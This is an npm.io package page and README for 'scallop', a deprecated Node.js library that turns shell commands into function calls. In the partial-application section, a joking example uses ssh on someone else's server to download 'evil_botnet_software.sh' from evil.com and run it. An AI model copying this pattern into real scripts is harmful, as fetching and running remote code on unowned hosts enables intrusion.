# scallop

> Make shelling out as easy as mere function calls

Latest version **0.2.0** (published 2016-02-16) · BSD-2-Clause license · 0 weekly downloads

> **Deprecated.** This package is deprecated.

## Install

```sh
npm install scallop
pnpm add scallop
yarn add scallop
bun add scallop
```

## Health

**Score 10/100 (F)** — status: deprecated.

Negative: deprecated.

## Facts

| | |
|---|---|
| Version | 0.2.0 |
| Published | 2016-02-16 |
| First published | 2015-12-01 |
| Weekly downloads | 0 |
| License | BSD-2-Clause |
| TypeScript types | none |
| Module format | CommonJS |
| Node | >=0.10 |
| Dependencies | 3 |
| Known vulnerabilities | 0 |
| Install scripts | no |
| GitHub stars | 0 |
| Author | Benjamin Woodruff |
| Maintainers | bgw |
| Keywords | sh, shell, unix, bash |

## Links

- npm: https://www.npmjs.com/package/scallop
- Repository: https://github.com/bgw/scallop
- Homepage: https://github.com/bgw/scallop#readme
- Issues: https://github.com/bgw/scallop/issues
- npm.io page: https://npm.io/package/scallop

## Dependencies (3)

- [glob](https://npm.io/package/glob.md) ^7.0.0
- [babel-polyfill](https://npm.io/package/babel-polyfill.md) ^6.5.0
- [harmony-reflect](https://npm.io/package/harmony-reflect.md) ^1.4.2

## Alternatives

- [csv-to-markdown-table](https://npm.io/package/csv-to-markdown-table.md) — 47.0K weekly downloads
- [@sapphire/ratelimits](https://npm.io/package/@sapphire/ratelimits.md) — 4.4K weekly downloads
- [js-csvparser](https://npm.io/package/js-csvparser.md) — 2.0K weekly downloads
- [@adadapted/js-sdk](https://npm.io/package/@adadapted/js-sdk.md) — 251 weekly downloads
- [@grapecity/spread-sheets-sparklines](https://npm.io/package/@grapecity/spread-sheets-sparklines.md) — 103 weekly downloads

## Recent versions

- 0.2.0 (latest) — 2016-02-16
- 0.1.0 — 2015-12-06
- 0.0.2 — 2015-12-05
- 0.0.1 — 2015-12-01

## README

<p align="center">
  <a href="https://github.com/bgw/scallop">
    <img src="https://raw.githubusercontent.com/bgw/scallop/master/logo.png"
         width="120px" alt="">
  </a>
</p>

<h1 align="center">Scallop</h1>

<p align="center">
  Shelling out with <code>child_process</code> is so&hellip; drab.
  <br>Relieve the tedium with <code>scallop</code>!
</p>

--------------------------------------------------------------------------------

```sh
$ npm i --save-dev scallop
```

```javascript
const scallop = require('scallop');
const curl = scallop('curl', {silent: true});

(async () => {
  const [out] = await curl('http://httpbin.org/user-agent');
  console.log(JSON.parse(out)['user-agent']); // curl/7.30.0
})():
// Of course this is a horribly contrived example. You should use `http.get`.
```

Now everything in `$PATH` has node bindings!

Literal Arguments
-----------------

Anything you pass directly to your wrapper function gets passed through.

```javascript
const mkdir = scallop('mkdir');
mkdir('example_directory');
```

Multiple arguments can be provided.

```javascript
mkdir('-p', 'parent/child');
```

Spaces and the like are automatically escaped.

```javascript
mkdir('Some directory with spaces! Wooo! Rebellion!');
```

Remember that, because this is node, everything is asynchronous, all our calls
will return immediately and execute in parallel. [Libraries like
`async`](https://github.com/caolan/async) or promises are good mechanisms for
organizing this mayhem.

### Argument Expansion

Because `Function.apply` is needlessly ugly, you can simply pass arrays beside
literal arguments.

```javascript
const myFolders = ['folderA', 'folderB', 'folderC'];
mkdir('-p', '-v', myFolders);
// which is the same as
mkdir.apply(null, ['-p', '-v'].concat(myFolders));
// or in ES2015
mkdir('-p', '-v', ...myFolders);
```

You can even have nested lists, and they'll all be expanded upon evaluation.

Partial Application
-------------------

You know, I kinda wish `mkdir` supplied `-p` by default.

```javascript
mkdir = mkdir.partial('-p');
mkdir('another-parent/child');
```

Oh! Look at that! It's okay I guess. I just wish it required **exactly one**
less function call. If only we could apply the partial when creating `mkdir`....

```javascript
const mkdir = scallop('mkdir', '-p');
```

Alright. That looks cool, but kinda limited in use.

```javascript
const ssh = scallop('ssh');
const definitelyMyServer = ssh.partial('notmyserver.com', '-p 1234');
const remoteCurl = definitelyMyServer.partial('curl', '--silent');

remoteCurl('-O', 'http://evil.com/evil_botnet_software.sh');
definitelyMyServer('sh', 'evil_botnet_software.sh');
// Please only use this on PHP websites
```

### Subcommands

Subcommands are a special case of partial application. `git` uses these heavily.
We can define some of the common subcommands for `git` with the
`defineSubcommands` function.

```javascript
const git = scallop('git').defineSubcommands('status', 'add', 'rm', 'clone');
git.clone('https://github.com/bgw/scallop.git', 'scallop');
```

A subcommand can be defined by a `--dashed-argument`, just pass it to
`defineSubcommands`, and the dashes will be stripped and converted to
`camelCase`.

Some programs might use a tree of these subcommands, which can be accomplished
by defining subcommands with and object. Arrays of subcommands can be
intermingled, forming leaves, or falsy values can be provided to prune the tree.

```javascript
const sudo = scallop('sudo');
sudo.defineSubcommands({ls: null, git: ['status', 'add', 'rm'], echo: null});
sudo.git.add('important_file.txt');
```

#### ES2015 Harmony Proxy Syntax

Having to make a call to `defineSubcommands` sucks, and there's no real reason
(except a lack of language support) why the subcommands should ever have to be
explicitly predefined.

The ES2015 adds [object Proxies][]. These allow us to intercept accesses to an
underlying object. If you enable proxies by passing `--harmony-proxies` or
`--harmony` to `node`, then you can use some alternate syntax. There's no
portable way to compile away or polyfill the Proxy API. Eventually this
language feature should be enabled by default in future versions of node.

[object Proxies]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy

```javascript
scallop.ssh['bgw@benjam.info'].git.rm('important_file.txt');
```

Take *that*, ES5!

Promises
--------

The output of commands is communicated using promises.

```javascript
const ls = scallop('ls', '-1');

ls('test_dir')
  .then(([stdout, stderr]) => {
    console.log(stdout.trim().split('\n'));
  })
  .catch((ex) => {
    console.trace(ex);
  });

// ['another_parent', 'example_directory', ... ]
```

This becomes more natural when paired with ES2016 async/await syntax.

```javascript
const [stdout, stderr] = await ls('test_dir');
console.log(stdout.trim().split('\n'));
```

Keyword Arguments
-----------------

As the last argument you may specify keyword arguments as an object. These
keyword arguments get rewritten as follows:

-   Single letter keys get a single dash prepended to them: `-s`
-   Multi-letter keys get two dashes prepended to them: `--long`
-   Integer values get converted to strings
-   Boolean values trigger some special casing (see below)
-   The value is appended after the key, separated by an equals sign:
    `--key=value`

### Boolean Keyword Arguments

It makes sense to think of the keyword arguments as an "options argument".
Fitting this analogy, keyword arguments with boolean values get processed
differently:

-   When true, the keyword gets one or two dashes prepended to it. No value is
    written out.
-   When false, the entire entry is ignored.

As an example, the object

```javascript
{verbose: false, escape: true, color: false, literal: true, a: true}
```

Would translate into

```
--escape --literal -a
```

### "Special" Keyword Arguments

Keys prepended with an _underscore act a bit differently. The following special
arguments are supported

-   `_cwd`: Current working directory
-   `_env`: An object of environment variables
-   `_uid`: The numerical ID or the string username of the user to execute as
-   `_gid`: The numerical ID or the string group of the user to execute as
-   `_encoding`: The encoding of stdout and stderr as a string. [Any encoding
    node supports][] can be passed. If given a falsy value, such as `null`, the
    stream will be treated as binary. Default is `utf8`.
-   `_okCodes`: An array of numbers representing valid exit codes. Defaults to
    `[0]`.

  [Any encoding node supports]: http://nodejs.org/api/stream.html#stream_readable_setencoding_encoding

Even More Stuff
---------------

I'm not done writing yet. But there's plenty more features in there, and many
ideas left to implement!

Portability
-----------

Because we're dealing with platform-specific commands, shelling out on Linux and
OS X will almost certainly be different than on Windows. Adding insult to
injury, I haven't even tested this on Windows. Oh well; it's not like Windows
has a significant market share.

See Also
--------

`scallop` is based on the python module, `sh` by Andrew Moffat. [`sh` is hosted
on GitHub.](http://amoffat.github.io/sh/) I even lifted some examples from his
documentation!

---
_Source: https://npm.io/package/scallop · Machine-readable twin of the npm.io package page. Health data is recomputed on every publish._
